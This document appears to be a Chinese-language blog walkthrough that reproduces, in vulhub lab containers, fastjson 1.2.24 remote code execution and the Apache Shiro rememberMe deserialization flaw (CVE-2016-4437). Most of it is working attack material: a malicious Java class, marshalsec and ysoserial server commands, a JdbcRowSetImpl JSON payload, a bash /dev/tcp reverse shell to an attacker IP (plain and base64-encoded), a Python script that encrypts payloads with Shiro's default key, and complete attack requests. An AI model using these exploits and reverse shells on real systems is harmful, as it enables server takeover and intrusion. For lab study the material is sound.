文章目录
- 一、fastjson 1.2.24远程命令执行漏洞复现
- 二、shiro反序列化漏洞(CVE-2016-4437)
- 1、Shiro漏洞原理
- 2、手工验证漏洞
- 3、使用ShiroAttack2
一、fastjson 1.2.24远程命令执行漏洞复现
配置环境:本机java 8环境 + kali操作系统(java8)
cd ./vulhub-master/fastjson/1.2.24-rce/ # 进入目标文件夹
docker-compose up -d # 启动环境
浏览器访问127.0.0.1:8090
.
将下面代码保存到TouchFile.java
中。
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
使用javac
编译TouchFile.java
。
将TouchFile.class
复制到kali中,并开启http服务。
python -m http.server 4444
在本机中安装apache-maven-3.9.6-bin.zip,加一个环境变量,就可以用了~
下载marshalsec,然后使用mvn clean package -DskipTests
命令生成marshalsec-0.0.3-SNAPSHOT-all.jar
。
将marshalsec-0.0.3-SNAPSHOT-all.jar
复制到kali中,并使用java8运行下面的命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.92.6:4444/#TouchFile" 9999
在burp中重放下面的数据包:
POST / HTTP/1.1
Host: 192.168.92.6:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.92.6:9999/TouchFile",
"autoCommit":true
}
}
可以看到rmi端显示:
到靶机里查看命令是否执行成功,输入命令进入fastjson环境容器执行 bash。
docker ps # 查看容器ID
docker exec -it <container_id> bash # 进入shell环境
cd /tmp & ls # 查看是否存在success文件
到此,复现成功~
二、shiro反序列化漏洞(CVE-2016-4437)
1、Shiro漏洞原理
Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户信息加密,加密过程:用户信息=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。如果用户勾选记住密码,那么在请求中会携带cookie,并且将加密信息存放在cookie的rememberMe字段里面,在服务端收到请求对rememberMe值,先base64解码然后AES解密再反序列化,这个加密过程如果我们知道AES加密的密钥,那么我们把用户信息替换成恶意命令,就导致了反序列化RCE漏洞。在shiro版本<=1.2.4中使用了默认密钥kPH+bIxk5D2deZiIxcaaaA==,这就更容易触发RCE漏洞。
故Payload产生的过程:命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值。
2、手工验证漏洞
简单判断漏洞是否存在:勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme
字段,响应包中是否有Set-cookie:rememberMe=deleteMe
字段。
具体判断漏洞是否存在:
手工复现
kali开启5555
端口监听
nc -lnvp 5555 # kali监听5555端口
反弹shell命令,是为了获取靶机的shell,同时当命令中包含重定向 <、>
和管道符 |
时,需要进行 base64 编码绕过检测(不编码,执行不了,已经试过了~)runtime-exec
bash -i >& /dev/tcp/192.168.92.6/5555 0>&1 # 反弹shell命令,用shiro反序列化漏洞让靶机执行
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}
执行下面的命令:
git clone https://github.com/frohoff/ysoserial.git # 下载ysoserial-all.jar
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjYvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}"
# 这串代码的大致意思就是:在kali上搭建一个服务器,监听了7777端口,并且存放了反弹到5555端口的反弹shell,且该反弹shell是通过CommonsCollections5利用链生成的反序列化数据。
注意:这里java版本要用java8。
生成AES
加密=>Base64
编码后的rememberMe
字段:
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java<最好用绝对路径>', '-jar', 'ysoserial-all.jar<最好用绝对路径>'', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
注意:python版本为python2.7;还有用pip2安装pycryptodome
,即pip install pycryptodome
。
向目标服务器发送下面的数据包
POST /doLogin HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/login;jsessionid=F02F219A55D5D439A3CC841489816ADF
Cookie: JSESSIONID=F02F219A55D5D439A3CC841489816ADF;rememberMe=mHG+Lu46TyikBy2cgkoOaj3UIdXJytnsFdI4mSd9P5V/cYekTMKeTdmZWfosHFPw9fBw0LpQxALUX3V7uLM4ClTztYsVS/VkumK17LO3M7uUN6tHIcFcy/iFtxCIeRnAYr+fV3MXwrUpgi9nfs9fMWnzv22imiIMXwaj1rYEly9XY9KrKr19MiNx2vAa/DXdvH8wm63XFLROd1iSb8FL9WdHKw60w+fy+jCsKeaibsi6NIJqcoTeePDCq4FFU3yAJh3x7bqThGg5NPpdPCwtQ7KBRiYjOxjs8RSwcydwws9G7DmaJW/2Rzq1dsa9T2aVQUi4kkbhrjSnG/suAW6aGapy4u+wORmduJDS9aIn9NFT9dXqEK4L0iRGPfF6aQ88HFSzT6zBxOVUOis/Tt/s5g==
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=123&password=123&rememberme=remember-me
结果:
攻击过程复盘
对于攻击者而言,核心就是干了两件事:
- 搭建VPS进行
JRMPListener
,存放反弹shell的payload1,且该payload是恶意的序列化数据; - 将上述VPS进行
JRMPListener
的地址进行了AES
加密和base64
编码,构造请求包cookie中的rememberMe
字段,向存在漏洞的服务器发送加密编码后的结果payload2。
靶机服务器的沦陷过程:
- 接收到请求包payload2,进行base64解码=>AES解密,发现要和一个VPS的JRMP 7777端口进行通信。
- 向恶意站点VPS的JRMP 7777进行请求,接收到了到了序列化后的恶意代码(反弹shell到攻击机的6666端口)payload1。
- 对payload1执行了反序列化,执行了反弹shell的恶意命令,就此沦陷。
3、使用ShiroAttack2
直接使用工具ShiroAttack2。
- 直接爆破密码,注意目标地址要加上协议~
- 爆破利用链及回显
- 远程执行命令